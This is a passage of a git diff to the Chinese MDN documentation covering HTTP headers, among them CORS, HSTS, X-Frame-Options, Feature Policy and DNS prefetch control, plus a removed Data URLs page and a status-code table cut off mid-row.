{{HTTPHeader("Access-Control-Allow-Credentials")}} 头指定了当浏览器的credentials设置为true时是否允许浏览器读取response的内容。当用在对preflight预检测请求的响应中时,它指定了实际的请求是否可以使用credentials。请注意:简单 GET 请求不会被预检;如果对此类请求的响应中不包含该字段,这个响应将被忽略掉,并且浏览器也不会将相应内容返回给网页。

+ +
Access-Control-Allow-Credentials: true
+
+ +

上文已经讨论了附带身份凭证的请求

+ +

Access-Control-Allow-Methods

+ +

{{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。

+ +
Access-Control-Allow-Methods: <method>[, <method>]*
+
+ +

相关示例见这里

+ +

Access-Control-Allow-Headers

+ +

{{HTTPHeader("Access-Control-Allow-Headers")}} 首部字段用于预检请求的响应。其指明了实际请求中允许携带的首部字段。

+ +
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
+
+ +

HTTP 请求首部字段

+ +

本节列出了可用于发起跨源请求的首部字段。请注意,这些首部字段无须手动设置。 当开发者使用 XMLHttpRequest 对象发起跨源请求时,它们已经被设置就绪。

+ +

Origin

+ +

{{HTTPHeader("Origin")}} 首部字段表明预检请求或实际请求的源站。

+ +
Origin: <origin>
+
+ +

origin 参数的值为源站 URI。它不包含任何路径信息,只是服务器名称。

+ +
Note: 有时候将该字段的值设置为空字符串是有用的,例如,当源站是一个 data URL 时。
+ +

注意,在所有访问控制请求(Access control request)中,{{HTTPHeader("Origin")}} 首部字段总是被发送。

+ +

Access-Control-Request-Method

+ +

{{HTTPHeader("Access-Control-Request-Method")}} 首部字段用于预检请求。其作用是,将实际请求所使用的 HTTP 方法告诉服务器。

+ +
Access-Control-Request-Method: <method>
+
+ +

相关示例见这里

+ +

Access-Control-Request-Headers

+ +

{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。

+ +
Access-Control-Request-Headers: <field-name>[, <field-name>]*
+
+ +

相关示例见这里

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}New definition; supplants CORS specification.
{{SpecName('CORS')}}{{Spec2('CORS')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+ +

+ +
    +
  • IE 10 提供了对规范的完整支持,但在较早版本(8 和 9)中,CORS 机制是借由 XDomainRequest 对象完成的。
  • +
  • Firefox 3.5 引入了对 XMLHttpRequests 和 Web 字体的跨源支持(但最初的实现并不完整,这在后续版本中得到完善);Firefox 7 引入了对 WebGL 贴图的跨源支持;Firefox 9 引入了对 drawImage 的跨源支持。
  • +
+ +

参见

+ + + +

{{ languages( { "ja": "ja/HTTP_access_control" } ) }}

diff --git a/files/zh-cn/web/http/data_uris/index.html b/files/zh-cn/web/http/data_uris/index.html deleted file mode 100644 index 5153482967..0000000000 --- a/files/zh-cn/web/http/data_uris/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Data URLs -slug: Web/HTTP/data_URIs -tags: - - Base64 - - HTTP - - URL - - 教程 - - 进阶 -translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs ---- -
{{HTTPSidebar}}
- -

Data URLs,即前缀为 data: 协议的URL,其允许内容创建者向文档中嵌入小文件。

- -

语法

- -

Data URLs 由四个部分组成:前缀(data:)、指示数据类型的MIME类型、如果非文本则为可选的base64标记、数据本身:

- -
data:[<mediatype>][;base64],<data>
-
- -

mediatype 是个 MIME 类型的字符串,例如 "image/jpeg" 表示 JPEG 图像文件。如果被省略,则默认值为 text/plain;charset=US-ASCII

- -

如果数据是文本类型,你可以直接将文本嵌入 (根据文档类型,使用合适的实体字符或转义字符)。如果是二进制数据,你可以将数据进行base64编码之后再进行嵌入。

- -

下面是一些示例:

- -
-
data:,Hello%2C%20World!
-
简单的 text/plain 类型数据
-
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
-
上一条示例的 base64 编码版本
-
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
-
一个HTML文档源代码 <h1>Hello, World</h1>
-
data:text/html,<script>alert('hi');</script>
-
一个会执行 JavaScript alert 的 HTML 文档。注意 script 标签必须封闭。
-
- -

给数据作 base64 编码

- -

在Linux或者Mac OS系统上,你可以使用 uuencode 命令行工具来简单实现编码:

- -
uuencode -m infile remotename
-
- -

infile 参数表示要作 base64编码的文件名称,remotename 参数表示输出的文件名称, 实际上并没有在 data 方案的URLs 中使用。

- -

输出结果如下:

- -
begin-base64 664 test
-YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
-====
-
- -

以上 Data URL 会使用位于首行之后的编码后的数据

- -

在网页上使用 JavaScript

- -

Web APIs 已经有对 base64 进行编码解码的方法: Base64 encoding and decoding.

- -

常见问题

- -

下文介绍一些在使用data URIs时遇到的常见问题:

- -
-
语法
-
data URLs 的格式很简单,但很容易会忘记把逗号加在 "data" 协议名后面,在对数据进行 base64 编码时也很容易发生错误。
-
HTML代码格式化
-
一个 data URL 是一个文件中的文件,相对于文档来说这个文件可能就非常的长。因为 data URL 也是 URL,所以 data 会用空白符(换行符, 制表符, 空格)来对它进行格式化。但如果数据是经过 base64 编码的,就可能会遇到一些问题
-
长度限制
-
虽然 Firefox 支持无限长度的 data URLs,但是标准中并没有规定浏览器必须支持任意长度的 data URIs。比如,Opera 11浏览器限制 URLs 最长为 65535 个字符,这意味着 data URLs 最长为 65529 个字符(如果你使用纯文本 data:, 而不是指定一个 MIME 类型的话,那么 65529 字符长度是编码后的长度,而不是源文件)。
-
缺乏错误处理
-
MIME类型错误或者base64编码错误,都会造成data URIs无法被正常解析, 但不会有任何相关错误提示.
-
不支持查询字符串
-
-

一个data URI的数据字段是没有结束标记的,所以尝试在一个data URI后面添加查询字符串会导致,查询字符串也一并被当作数据字段.例如:

- -
data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val
-
- -

这个 data URL 代表的 HTML 源文件内容为:

- -
lots of text...<p><a name="bottom">bottom</a>?arg=val
-
-
-
- -

浏览器兼容性

- -

{{compat("http.data-url")}}

- -

Specifications

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("2397")}}The "data" URL scheme
- -

相关链接

- - diff --git a/files/zh-cn/web/http/feature_policy/index.html b/files/zh-cn/web/http/feature_policy/index.html new file mode 100644 index 0000000000..90e83fb04a --- /dev/null +++ b/files/zh-cn/web/http/feature_policy/index.html @@ -0,0 +1,153 @@ +--- +title: Feature Policy +slug: Web/HTTP/策略特征 +translation_of: Web/HTTP/Feature_Policy +--- +
{{SeeCompatTable}}{{HTTPSidebar}}
+ +

特征策略允许web开发者在浏览器中选择启用、禁用和修改确切特征和 API 的行为.比如{{Glossary("CSP","内容安全策略")}},但是它控制的是浏览器的特征非安全行为.

+ +

概述

+ +

特征策略提供了一种机制去声明哪些功能通过你的网络,是可以被用的(或者不被使用的)。这就允许你通过功能可用性来很好的锁定功能,即使代码很老,或者包含第三方的内容。

+ +

有了功能策略,你可以选择一组“策略”,让浏览器强制执行整个网站使用的特定功能。这些策略限制了站点可以访问哪些api,或者修改浏览器对某些特性的默认行为

+ +

使用特性策略可以做什么的示例?:

+ +
    +
  • 改变手机和第三方视频自动播放的默认行为.
  • +
  • 限制网站使用敏感的api,如摄像头或麦克风.
  • +
  • +

    允许iframes使用全屏API.

    +
  • +
  • +

    阻止使用过时的api,比如 synchronous XHR 和 {{domxref("document.write()")}}.

    +
  • +
  • 确保图像的大小正确,对于视口来说不会太大.
  • +
+ +

概念和用法

+ +

特性策略允许您在顶级页面和嵌入式框架中控制哪些源可以使用哪些特性。实际上,您编写了一个策略,它是每个特性允许的起源列表。对于由特性策略控制的每个特性,只有当它的起源与允许的起源列表匹配时,该特性才会在当前文档或框架中启用.

+ +

对于每个策略控制的功能,浏览器都会维护启用该功能的来源列表,称为允许列表。如果您未为功能指定策略,则将使用默认的允许列表。默认的许可列表特定于每个功能.

+ +

编写策略

+ +

使用一组单独的策略指令来描述策略。策略指令是已定义功能名称和可以使用该功能的来源的允许列表的组合.

+ +

指定策略

+ +

功能策略提供了两种方法来指定用于控制功能的策略:

+ +
    +
  •  {{httpheader('Feature-Policy')}} HTTP 报文头.
  • +
  • 在{{HTMLElement('iframe','allow','#Attributes')}} iframes 之上的属性.
  • +
+ +

HTTP标头和allow属性之间的主要区别在于allow属性仅控制iframe中的功能。标头控制响应中的功能以及页面内的任何嵌入式内容.

+ +

点此链接查看更多详细信息 Using Feature Policy.

+ +

策略控制功能的类型

+ +

尽管功能策略使用一致的语法提供了对多个功能的控制,但是策略控制功能的行为却有所不同,并取决于多个因素.

+ +

一般原则是,Web开发人员应该有一种直观或不间断的方式来检测或处理禁用该功能的情况。新引入的功能可能具有显示状态的显式API。稍后与功能策略集成的现有功能通常将使用现有机制。一些方法包括:

+ +
    +
  • 对于需要用户权限授予的JavaScript API,返回“权限被拒绝(permission denied)”.
  • +
  • 从提供功能访问权限的现有JavaScript API返回falseerror.
  • +
  • 更改控制功能行为的默认值或选项.
  • +
+ +

当前的一组策略控制功能可分为两大类:

+ +
    +
  • 实施最佳实践以获得良好的用户体验.
  • +
  • 提供对敏感或强大功能的精细控制.
  • +
+ +

良好用户体验的最佳实践

+ +

有几种策略控制的功能可帮助实施最佳实践,以提供良好的性能和用户体验.

+ +

在大多数情况下,策略控制的功能代表的功能在使用时会对用户体验产生负面影响。为避免破坏现有的Web内容,此类策略控制功能的默认设置是允许所有来源使用该功能。然后,通过使用禁用策略控制功能的策略来实施最佳实践。有关更多详细信息,请参见“实施最佳实践以提供良好的用户体验”.

+ +

功能包括:

+ +
    +
  • Layout-inducing 动画
  • +
  • 传统的图像格式
  • +
  • 超大号的图片
  • +
  • 同步脚本
  • +
  • 同步 XMLHTTPRequest
  • +
  • 为优化的图像
  • +
  • 大小不一的媒体
  • +
+ +

精细控制某些功能

+ +

Web提供的功能和API如果被滥用,可能会带来隐私或安全风险。在某些情况下,您可能希望严格限制在网站上使用此类功能的方式。有策略控制的功能,允许针对网站中的特定来源或框架启用/禁用功能。该功能在可用时与Permissions API或特定于功能的机制集成在一起,以检查该功能是否可用.

+ +

功能包括:

+ +
    +
  • 加速器
  • +
  • 环境光源感测器
  • +
  • 自动播放
  • +
  • 摄像功能
  • +
  • 加密媒体信息
  • +
  • 全屏功能
  • +
  • 地理定位
  • +
  • 陀螺仪
  • +
  • 延迟加载
  • +
  • 麦克风
  • +
  • Midi
  • +
  • 支付请求
  • +
  • 画中画(Picture-in-picture)
  • +
  • 扬声器
  • +
  • USB
  • +
  • VR / XR
  • +
+ +

更多示例

+ + + +

规范

+ + + + + + + + + + + + + + +
说明书状态描述
{{SpecName('Feature Policy','#feature-policy-http-header-field','Feature-Policy')}}{{Spec2('Feature Policy')}}初始化前定义 {{httpheader('Feature-Policy')}} 头. 规范中定义了指令所控制的特性. 有关详细信息,请参阅个别指令页面.
+ +

浏览器兼容性

+ + + +

{{Compat("http.headers.Feature-Policy")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html b/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html new file mode 100644 index 0000000000..9a37fa46f3 --- /dev/null +++ b/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html @@ -0,0 +1,140 @@ +--- +title: Using Feature Policy +slug: Web/HTTP/策略特征/Using_Feature_Policy +translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy +--- +
{{HTTPSidebar}} {{SeeCompatTable}}
+ +

Feature Policy allows you to control which origins can use which features, both in the top-level page and in embedded frames. Essentially, you write a policy, which is an allowed list of origins for each feature. For every feature controlled by Feature Policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins.

+ +

For each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. If you do not specify a policy for a feature, then a default allowlist will be used. The default allowlist is specific to each feature.

+ +

Writing a policy

+ +

A policy is described using a set of individual policy directives. A policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature.

+ +

allowlist

+ +

allowlist可以使用以下一个或多个值。

+ +
    +
  • *: 允许在当前文档和所有包含的内容(比如iframes)中使用本特性。
  • +
  • 'self': 允许在当前文档中使用本特性,但在包含的内容(比如iframes)仍使用原值。
  • +
  • 'src': (只在iframe中允许) 只要在{{HTMLElement('iframe','src','#Attributes')}} 中的URL和加载iframe用的URL相同,则本特性在iframe中允许,
  • +
  • 'none': 从最上层到包含的内容都禁止本特性。
  • +
  • <origin(s)>: 在特定的源中允许,源URL以空格分割。
  • +
+ +

*(在所有源地址启用)'none'(在所有源地址禁用)只允许单独使用,而'self''src'可以与多个源地址一起使用。

+ +

所有的特性都有一个如下的默认的allowlist

+ +
    +
  • *: 本特性默认在最上层和包含的内容中(iframes)允许。
  • +
  • 'self': 本特性默认在最上层允许,而包含的内容中(iframes)使用源地址相同设定。也就是说本特性在iframe中不允许跨域访问。
  • +
  • 'none': 本特性默认在最上层和包含的内容中(iframes)都禁止。
  • +
+ +

Specifying your policy

+ +

Feature Policy provides two ways to specify policies to control features:

+ +
    +
  • The {{httpheader('Feature-Policy')}} HTTP header.
  • +
  • The {{htmlattrxref("allow", "iframe")}} attribute on {{htmlelement("iframe")}}s.
  • +
+ +

The primary difference between the HTTP header and the allow attribute is that the allow attribute only controls features within an iframe. The header controls features in the response and any embedded content within the page.

+ +

The Feature-Policy HTTP header

+ +

You can send the Feature-Policy HTTP header with the response of a page. The value of this header is a policy to be enforced by the browser for the given page. It has the following structure.

+ +
Feature-Policy: <feature name> <allowlist of origin(s)>
+ +

For example, to block all content from using the Geolocation API across your site:

+ +
Feature-Policy: geolocation 'none'
+ +

Several features can be controlled at the same time by sending the HTTP header with a semicolon-separated list of policy directives, or by sending a separate header for each policy.

+ +

For example, the following are equivalent:

+ +
Feature-Policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *;
+
+Feature-Policy: unsized-media 'none'
+Feature-Policy: geolocation 'self' https://example.com
+Feature-Policy: camera *;
+
+ +

The iframe allow attribute

+ +

The second way to use Feature Policy is for controlling content within an iframe. Use the allow attribute to specify a policy list for embedded content.

+ +

For example, allow all browsing contexts within this iframe to use fullscreen:

+ +
<iframe src="https://example.com..." allow="fullscreen"></iframe>
+ +

This is equivalent to:

+ +
<iframe src="https://example.com..." allow="fullscreen 'src'"></iframe>
+ +

This example allows <iframe> content on a particular origin to access the user's location:

+ +
<iframe src="https://google-developers.appspot.com/demos/..."
+        allow="geolocation https://google-developers.appspot.com"></iframe>
+
+ +

Similar to the HTTP header, several features can be controlled at the same time by specifying a semicolon-separated list of policy directives.

+ +

For example, this blocks the <iframe> from using the camera and microphone:

+ +
<iframe allow="camera 'none'; microphone 'none'">
+
+ +

Inheritance of policy for embedded content

+ +

Scripts inherit the policy of their browsing context, regardless of their origin. That means that top-level scripts inherit the policy from the main document.

+ +

All iframes inherit the policy of their parent page. If the iframe has an allow attribute, the policies of the parent page and the allow attribute are combined, using the most restrictive subset. For an iframe to have a feature enabled, the origin must be in the allowlist for both the parent page and the allow attribute.

+ +

Disabling a feature in a policy is a one-way toggle. If a feature has been disabled for a child frame by its parent frame, the child cannot re-enable it, and neither can any of the child's descendants.

+ +

Enforcing best practices for good user experiences

+ +

It's difficult to build a website that uses all the latest best practices and provides great performance and user experiences. As the website evolves, it can become even harder to maintain the user experience over time. You can use feature policies to specify the desired best practices, and rely on the browser to enforce the policies to prevent regressions.

+ +

There are several policy-controlled features designed to represent functionality that can negatively impact the user experience. These features include:

+ +
    +
  • Layout-inducing Animations
  • +
  • Unoptimized (poorly compressed) images
  • +
  • Oversized images
  • +
  • Synchronous scripts
  • +
  • Synchronous XMLHttpRequest
  • +
  • Unsized media
  • +
+ +

To avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. That is, the default allowlist is '*' for each feature. Preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features.

+ +

For new content, you can start developing with a policy that disables all the features. This approach ensures that none of the functionality is introduced. When applying a policy to existing content, testing is likely required to verify it continues to work as expected. This is especially important for embedded or third-party content that you do not control.

+ +

To turn on the enforcement of all the best practices, specify the policy as below.

+ +

Send the following the HTTP header:

+ +
Feature-Policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';
+ +

Using the <iframe> allow attribute:

+ +
<iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';"></iframe>
+ +

See also

+ +
    +
  • Feature Policy
  • +
  • {{HTTPHeader("Feature-Policy")}} header
  • +
  • {{HTMLElement('iframe','allow','#Attributes')}} attribute on iframes
  • +
  • {{HTTPHeader("Content-Security-Policy")}} header
  • +
  • {{HTTPHeader("Referrer-Policy")}} header
  • +
diff --git a/files/zh-cn/web/http/headers/strict-transport-security/index.html b/files/zh-cn/web/http/headers/strict-transport-security/index.html new file mode 100644 index 0000000000..d890b429ef --- /dev/null +++ b/files/zh-cn/web/http/headers/strict-transport-security/index.html @@ -0,0 +1,121 @@ +--- +title: HTTP Strict Transport Security +slug: Web/HTTP/HTTP_Strict_Transport_Security +tags: + - HSTS + - HTTP + - HTTPS + - Security + - header +translation_of: Web/HTTP/Headers/Strict-Transport-Security +--- +
 HTTP Strict Transport Security(通常简称为{{Glossary("HSTS")}})是一个安全功能,它告诉浏览器只能通过HTTPS访问当前资源,而不是HTTP
+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

语法

+ +
Strict-Transport-Security: max-age=<expire-time>
+Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
+Strict-Transport-Security: max-age=<expire-time>; preload
+
+ +

指令

+ +
+
max-age=<expire-time>
+
设置在浏览器收到这个请求后的<expire-time>秒的时间内凡是访问这个域名下的请求都使用HTTPS请求。
+
includeSubDomains {{optional_inline}}
+
如果这个可选的参数被指定,那么说明此规则也适用于该网站的所有子域名。
+
preload {{optional_inline}}
+
查看 {{anch("预加载 HSTS")}} 获得详情。不是标准的一部分。
+
+ +

描述

+ +

一个网站接受一个HTTP的请求,然后跳转到HTTPS,用户可能在开始跳转前,通过没有加密的方式和服务器对话,比如,用户输入http://foo.com或者直接foo.com。

+ +

这样存在中间人攻击潜在威胁,跳转过程可能被恶意网站利用来直接接触用户信息,而不是原来的加密信息。

+ +

网站通过HTTP Strict Transport Security通知浏览器,这个网站禁止使用HTTP方式加载,浏览器应该自动把所有尝试使用HTTP的请求自动替换为HTTPS请求。

+ +
+

注意: Strict-Transport-Security 在通过 HTTP 访问时会被浏览器忽略; 因为攻击者可以通过中间人攻击的方式在连接中修改、注入或删除它.  只有在你的网站通过HTTPS访问并且没有证书错误时, 浏览器才认为你的网站支持HTTPS 然后使用 Strict-Transport-Security 的值 .

+
+ +

浏览器如何处理

+ +

你的网站第一次通过HTTPS请求,服务器响应Strict-Transport-Security 头,浏览器记录下这些信息,然后后面尝试访问这个网站的请求都会自动把HTTP替换为HTTPS。

+ +

当HSTS头设置的过期时间到了,后面通过HTTP的访问恢复到正常模式,不会再自动跳转到HTTPS。

+ +

每次浏览器接收到Strict-Transport-Security头,它都会更新这个网站的过期时间,所以网站可以刷新这些信息,防止过期发生。

+ +

Chrome、Firefox等浏览器里,当您尝试访问该域名下的内容时,会产生一个307 Internal Redirect(内部跳转),自动跳转到HTTPS请求。

+ +

示例场景

+ +

你连接到一个免费WiFi接入点,然后开始浏览网站,访问你的网上银行,查看你的支出,并且支付一些订单。很不幸,你接入的WiFi实际上是黑客的笔记本热点,他们拦截了你最初的HTTP请求,然后跳转到一个你银行网站一模一样的钓鱼网站。 现在,你的隐私数据暴露给黑客了。

+ +

Strict Transport Security解决了这个问题;只要你通过HTTPS请求访问银行网站,并且银行网站配置好Strict Transport Security,你的浏览器知道自动使用HTTPS请求,这可以阻止黑客的中间人攻击的把戏。

+ +

预加载 HSTS

+ +

谷歌维护着一个 HSTS 预加载服务。按照如下指示成功提交你的域名后,浏览器将会永不使用非安全的方式连接到你的域名。虽然该服务是由谷歌提供的,但所有浏览器都有使用这份列表的意向(或者已经在用了)。但是,这不是 HSTS 标准的一部分,也不该被当作正式的内容。

+ + + +

示例

+ +

现在和未来的所有子域名会自动使用 HTTPS 连接长达一年。同时阻止了只能通过 HTTP 访问的内容。

+ +
Strict-Transport-Security: max-age=31536000; includeSubDomains
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HSTS')}}{{Spec2('HSTS')}}Initial definition
+ +

浏览器兼容

+ + + +

{{Compat("http.headers.Strict-Transport-Security")}}

+ +

查看更多

+ + diff --git a/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html b/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html new file mode 100644 index 0000000000..313d309ccb --- /dev/null +++ b/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html @@ -0,0 +1,97 @@ +--- +title: X-DNS-Prefetch-Control +slug: Controlling_DNS_prefetching +tags: + - DNS + - DNS prefetch + - HTTP + - 预解析 +translation_of: Web/HTTP/Headers/X-DNS-Prefetch-Control +--- +

{{HTTPSidebar}}

+ +

X-DNS-Prefetch-Control 头控制着浏览器的 DNS 预读取功能。 DNS 预读取是一项使浏览器主动去执行域名解析的功能,其范围包括文档的所有链接,无论是图片的,CSS 的,还是 JavaScript 等其他用户能够点击的 URL。

+ +

因为预读取会在后台执行,所以 {{glossary("DNS")}} 很可能在链接对应的东西出现之前就已经解析完毕。这能够减少用户点击链接时的延迟。

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

语法

+ +
X-DNS-Prefetch-Control: on
+X-DNS-Prefetch-Control: off
+
+ +

参数

+ +
+
on
+
启用 DNS 预解析。在浏览器支持 DNS 预解析的特性时即使不使用该标签浏览器依然会进行预解析。
+
off
+
关闭 DNS 预解析。这个属性在页面上的链接并不是由你控制的或是你根本不想向这些域名引导数据时是非常有用的。
+
+ +

介绍

+ +

DNS 请求需要的带宽非常小,但是延迟却有点高,这一点在手机网络上特别明显。预读取 DNS 能让延迟明显减少一些,例如在用户点击链接时。在某些情况下,延迟能减少一秒钟。 

+ +

在某些浏览器中这个预读取的行为将会与页面实际内容并行发生(而不是串行)。正因如此,某些高延迟的域名的解析过程才不会卡住资源的加载。

+ +

这样可以极大的加速(尤其是移动网络环境下)页面的加载。在某些图片较多的页面中,在发起图片加载请求之前预先把域名解析好将会有至少 5% 的图片加载速度提升。

+ +

在浏览器中设置预读取配置

+ +

一般来说并不需要去管理预读取,但是可能会有用户希望关闭预读取功能。这时只需要将 network.dns.disablePrefetch 选项值设置为 true 就可以了。

+ +

另外,默认情况下,通过 {{glossary("HTTPS")}} 加载的页面上内嵌链接的域名并不会执行预加载。在 Firefox 浏览器中,可以通过 about:config 设置 network.dns.disablePrefetchFromHTTPS 值为 false 来改变这一默认行为。

+ +

示例

+ +

打开和关闭 DNS 预读取

+ +

你可以通过在服务器端发送 X-DNS-Prefetch-Control 报头,或是在文档中使用值为 {{ htmlattrxref("http-equiv") }} 的 {{ HTMLElement("meta") }} 标签:

+ +
<meta http-equiv="x-dns-prefetch-control" content="off">
+
+ +

您可以通过将 content 的参数设置为“on”来改变设置。

+ +

强制查询特定主机名

+ +

你可以通过使用 {{ htmlattrxref("rel","link") }} 属性值为 link type 中的 dns-prefetch 的 {{ HTMLElement("link") }} 标签来对特定域名进行预读取:

+ +
<link rel="dns-prefetch" href="http://www.spreadfirefox.com/">
+
+ +

在这个例子中,Firefox 将预解析域名"www.spreadfirefox.com"。

+ +

而且,{{ HTMLElement("link") }} 元素也可以使用不完整的 URL 的主机名来标记预解析,但这些主机名前必需要有双斜线:

+ +
<link rel="dns-prefetch" href="//www.spreadfirefox.com">
+
+ +

强制对域名进行预读取在一些情况下很有用, 比如, 在网站的主页上,强制在整个网站上频繁引用的域名的预解析,即使它们不在主页本身上使用。即使主页的性能可能不受影响,这将提高整体站点性能。

+ +

浏览器兼容性

+ + + +

{{Compat("http.headers.X-DNS-Prefetch-Control")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/http/headers/x-frame-options/index.html b/files/zh-cn/web/http/headers/x-frame-options/index.html new file mode 100644 index 0000000000..2b6cfcda76 --- /dev/null +++ b/files/zh-cn/web/http/headers/x-frame-options/index.html @@ -0,0 +1,161 @@ +--- +title: X-Frame-Options +slug: Web/HTTP/X-Frame-Options +tags: + - HTTP + - 响应头 + - 响应头部 + - 安全性 +translation_of: Web/HTTP/Headers/X-Frame-Options +--- +
{{HTTPSidebar}}
+ +

The X-Frame-Options HTTP 响应头是用来给浏览器 指示允许一个页面 可否在 {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} 或者 {{HTMLElement("object")}} 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免 {{interwiki("wikipedia", "clickjacking")}} 攻击。

+ +

The added security is only provided if the user accessing the document is using a browser supporting X-Frame-Options. {{HTTPHeader("Content-Security-Policy")}} HTTP 头中的 frame-ancestors 指令会替代这个非标准的 header。CSP 的 frame-ancestors 会在 {{Gecko("4.0")}} 中支持,但是并不会被所有浏览器支持。然而 X-Frame-Options 是个已广泛支持的非官方标准,可以和 CSP 结合使用。

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

语法

+ +

X-Frame-Options 有三个可能的值:

+ +
X-Frame-Options: deny
+X-Frame-Options: sameorigin
+X-Frame-Options: allow-from https://example.com/
+
+ +

指南

+ +

换一句话说,如果设置为 deny,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为sameorigin,那么页面就可以在同域名页面的 frame 中嵌套。

+ +
+
deny
+
表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
+
sameorigin
+
表示该页面可以在相同域名页面的 frame 中展示。
+
allow-from uri
+
表示该页面可以在指定来源的 frame 中展示。
+
+ +

例子

+ +
+

Note: 设置 meta 标签是无效的!例如 <meta http-equiv="X-Frame-Options" content="deny"> 没有任何效果。不要这样用!只有当像下面示例那样设置 HTTP 头 X-Frame-Options 才会生效。

+
+ +

配置 Apache

+ +

配置 Apache 在所有页面上发送 X-Frame-Options 响应头,需要把下面这行添加到 'site' 的配置中:

+ +
Header always set X-Frame-Options "sameorigin"
+
+ +

要将 Apache 的配置 X-Frame-Options 设置成 deny , 按如下配置去设置你的站点:

+ +
Header set X-Frame-Options "deny"
+
+ +

要将 Apache 的配置 X-Frame-Options 设置成 allow-from,在配置里添加:

+ +
Header set X-Frame-Options "allow-from https://example.com/"
+
+ +

配置 nginx

+ +

配置 nginx 发送 X-Frame-Options 响应头,把下面这行添加到 'http', 'server' 或者 'location' 的配置中:

+ +
add_header X-Frame-Options sameorigin always;
+
+ +

配置 IIS

+ +

配置 IIS 发送 X-Frame-Options 响应头,添加下面的配置到 Web.config 文件中:

+ +
<system.webServer>
+  ...
+
+  <httpProtocol>
+    <customHeaders>
+      <add name="X-Frame-Options" value="sameorigin" />
+    </customHeaders>
+  </httpProtocol>
+
+  ...
+</system.webServer>
+
+ +

配置 HAProxy

+ +

配置 HAProxy 发送 X-Frame-Options 头,添加这些到你的前端、监听 listen,或者后端的配置里面:

+ +
rspadd X-Frame-Options:\ sameorigin
+
+ +

或者,在更加新的版本中:

+ +
http-response set-header X-Frame-Options sameorigin
+
+ +

配置 Express

+ +

要配置 Express 可以发送 X-Frame-Options header,你可以用借助了 frameguard 来设置头部的 helmet。在你的服务器配置里面添加:

+ +
const helmet = require('helmet');
+const app = express();
+app.use(helmet.frameguard({ action: "sameorigin" }));
+
+ +

或者,你也可以直接用 frameguard

+ +
const frameguard = require('frameguard')
+app.use(frameguard({ action: 'sameorigin' }))
+
+ +

结果

+ +

在 Firefox 尝试加载 frame 的内容时,如果 X-Frame-Options 响应头设置为禁止访问了,那么 Firefox 会用 about:blank 展现到 frame 中。也许从某种方面来讲的话,展示为错误消息会更好一点。

+ +

规范

+ + + + + + + + + + + + + + +
规范标题
{{RFC("7034")}}HTTP Header Field X-Frame-Options
+ +

浏览器兼容性

+ + + +

{{Compat("http.headers.X-Frame-Options")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/http/http_response_codes/index.html b/files/zh-cn/web/http/http_response_codes/index.html deleted file mode 100644 index 2c0fce1058..0000000000 --- a/files/zh-cn/web/http/http_response_codes/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: HTTP response codes -slug: Web/HTTP/HTTP_response_codes -translation_of: Web/HTTP/Status -translation_of_original: Web/HTTP/HTTP_response_codes ---- -

HTTP状态码(响应码)用来表明这个HTTP 请求是否已经成功完成.HTTP响应类型一共分五大类:消息响应,成功响应,重定向,客户端错误,服务器端错误.

-

 

-

下表列出了所有HTTP状态码,以及他们各自所代表的含义:

- -
状态码   原因短语 代表含义 HTTP 版本   
消息响应
100          Continue
(继续)
客户端应当继续发送请求.这个临时响应是用来通知客户端它的部分请求已经被服务器接收,且仍未被拒绝.客户端应当继续发送请求的剩余部分,或者如果请求已经完成,忽略这个响应.服务器必须在请求完成后向客户端发送一个最终响应. HTTP/1.1 可用
101 Switching Protocol
(切换协议)
